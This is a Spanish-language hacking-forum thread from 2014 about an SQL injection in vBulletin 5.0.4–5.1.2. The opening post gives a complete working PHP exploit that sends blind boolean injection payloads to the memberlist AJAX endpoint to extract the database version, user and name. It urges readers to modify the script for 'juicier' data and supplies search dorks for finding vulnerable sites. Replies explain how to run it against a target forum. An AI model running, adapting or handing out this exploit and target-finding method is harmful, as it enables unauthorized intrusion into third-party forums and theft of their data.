Underc0de

[In]Seguridad Informática => Bugs y Exploits => Topic started by: Stiuvert on July 26, 2014, 12:52:41 pm

Title: Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Post by: Stiuvert on July 26, 2014, 12:52:41 pm
(http://1.bp.blogspot.com/-mOnlRbDtDKQ/U83YMy9bDbI/AAAAAAAACW0/kTyrdPduChM/s1600/vBulletin+SQLi.png) (http://1.bp.blogspot.com/-mOnlRbDtDKQ/U83YMy9bDbI/AAAAAAAACW0/kTyrdPduChM/s1600/vBulletin+SQLi.png" imageanchor=1)

Hace unos días se supo de una Inyección SQL en el gestor de foros vBulletin (http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html), pero como siempre primero me gusta verificar y recién hoy se ha publicado en PacketStorm una versión pública ya que en 1337day Inj3ct0r (http://1337day.com/exploits/22452) ya se encontraba pero para acceder a él hay que pagar...



vBulletin es un software
desarrollado por vBulletin Solutions, para la creación y mantenimiento de foros
en Internet. Está basado en PHP y MySQL y según la propia compañía más de
100.000 sitios funcionan bajo este sistema.


Según confirma vBulletin, el
problema afecta a las versiones 5.0.4, 5.0.5, 5.1.0, 5.1.1 y 5.1.2. El grupo
Romanian Security Team (RST) ha publicado un vídeo en el que se muestra la
vulnerabilidad y confirma el reporte a vBulletin, que ofrecerán todos los
detalles tras la publicación del parche.



La vulnerabilidad permite a un usuario malicioso realizar ataques de inyección
SQL
sobre la base de datos, con todas las implicaciones que ello puedo
llevar. Es decir, extraer toda la
información y contenido de la base de datos
, e incluso a partir de ahí
comprometer todo el sistema.



El exploit que se ha publicado nos permite obtener la versión, nombre y usuario de la base de datos, para obtener datos más jugosos debéis modificar el exploit:


(http://4.bp.blogspot.com/-t0BPxkA5h-c/U83Yb0TeTaI/AAAAAAAACW8/h4ZUhYkfWjQ/s1600/sqli+vBulletin.bmp) (http://4.bp.blogspot.com/-t0BPxkA5h-c/U83Yb0TeTaI/AAAAAAAACW8/h4ZUhYkfWjQ/s1600/sqli+vBulletin.bmp" imageanchor=1)

Code: You are not allowed to view links. Register or Login
<?php
 
/*
    Author: Nytro
    Powered by: Romanian Security Team
    Price: Free. Educational.
*/
 
 
error_reporting(E_ALL);
ini_set('display_errors'1);
 
 
// Get arguments
 
 
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression str_replace('/''\\/'$target_url);
 
 
// Function to send a POST request
 
 
function httpPost($url,$params)
{
    
$ch curl_init($url);
 
 
    
curl_setopt($chCURLOPT_URL,$url);
    
curl_setopt($chCURLOPT_RETURNTRANSFER,true);
    
curl_setopt($chCURLOPT_HEADERfalse);
    
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
    
curl_setopt($chCURLOPT_POST1);
    
curl_setopt($chCURLOPT_POSTFIELDS$params);
     
    
curl_setopt($chCURLOPT_HTTPHEADER, array(
        
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
        
'Accept: application/json, text/javascript, */*; q=0.01',
        
'X-Requested-With: XMLHttpRequest',
        
'Referer: https://rstforums.com/v5/memberlist',
        
'Accept-Language: en-US,en;q=0.5',
        
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
     
));
 
 
    
$output curl_exec($ch);
     
    if(
$output == FALSE) print htmlspecialchars(curl_error($ch));
 
 
    
curl_close($ch);
    return 
$output;
}
 
 
// Function to get string between two other strings
 
 
function get_string_between($string$start$end)
{
    
$string " ".$string;
    
$ini strpos($string,$start);
    if (
$ini == 0) return "";
    
$ini += strlen($start);
    
$len strpos($string,$end,$ini) - $ini;
    return 
substr($string,$ini,$len);
}
 
 
// Get version
 
 
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print 
"Version: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1  ,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
     
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(  ),' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get user
 
 
print "\r\nUser: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1  ,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
 
 
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
// Get database
 
 
print "\r\nDatabse: ";
 
 
$result httpPost($target_url '/ajax/render/memberlist_items',
        
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  1,1)--+"+' .
        
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
 
 
$letter 1;
 
 
while(
strpos($result'No Users Matched Your Query') == false)
{
    
$exploded explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' $expression '\/member\/'$result);
 
 
    
$username get_string_between($exploded[1], '">''<\/a>');
    print 
$username[0];
 
 
    
$letter++;
    
$result httpPost($target_url '/ajax/render/memberlist_items',
            
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  ' $letter ',1)--+"+' .
            
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
 
 
print 
"\r\n"
 
 
?>



Descargar Exploit vBulletin (http://packetstormsecurity.com/files/download/127537/vbulletin512-sql.txt)

Google ya ha bloqueado una posible busqueda del dork necesario para buscar sitios afectados, por ejemplo:

"Powered by vBulletin® Version 5.1.2"
"Powered by vBulletin® Version 5.0.4"
"Powered by vBulletin® Version 5.0.5"
"Powered by vBulletin® Version 5.1.0"
"Powered by vBulletin® Version 5.1.1"

Pero si buscan con Bing (http://www.bing.com/search?q=%22Powered+by+vBulletin%C2%AE+Version+5.1.2%22&go=&qs=ds&form=QBLH&filt=all) encontrarán resultados.

Fuentes:
http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html
http://packetstormsecurity.com/files/127537/vBulletin-5.1.2-SQL-Injection.html
http://1337day.com/exploits/22452
http://www.blackploit.com



Fuente Original: Blackploit
Title: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Post by: Snifer on July 26, 2014, 01:32:52 pm
Esto lo vi temprano y en un PoC local funciono perfecto!!.

Y la fuente? creo que esto anda en Blackploit?

PD: Solo digo aparte de traductor ahora mal posteador U_u vamos de mal en peor, ahi te corregi ;)

Regards,
Snifer
Title: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Post by: Stiuvert on July 26, 2014, 02:07:38 pm
Estaba la fuente mi compañero Snifer! xD

Title: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Post by: Snifer on July 26, 2014, 02:21:44 pm
Nup, porque al final decia fuentes tal cual el post original, debes de poner lo que corresponde al cesar lo que es del cesar ;)

Regards,
Snifer
Title: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Post by: josemi on July 26, 2014, 07:18:52 pm
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este  necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
Title: Re:Inyección SQL en foros vBulletin 5.0.4 a 5.1.2 (Exploit + vídeo)
Post by: fermino on July 26, 2014, 07:48:12 pm
You are not allowed to view links. Register or Login
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este  necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
Nope, descarga la última versión de PHP, y luego ejecuta el script así:
C:\PATH_A_PHP\php.exe nombre_del_script.php url_del_foro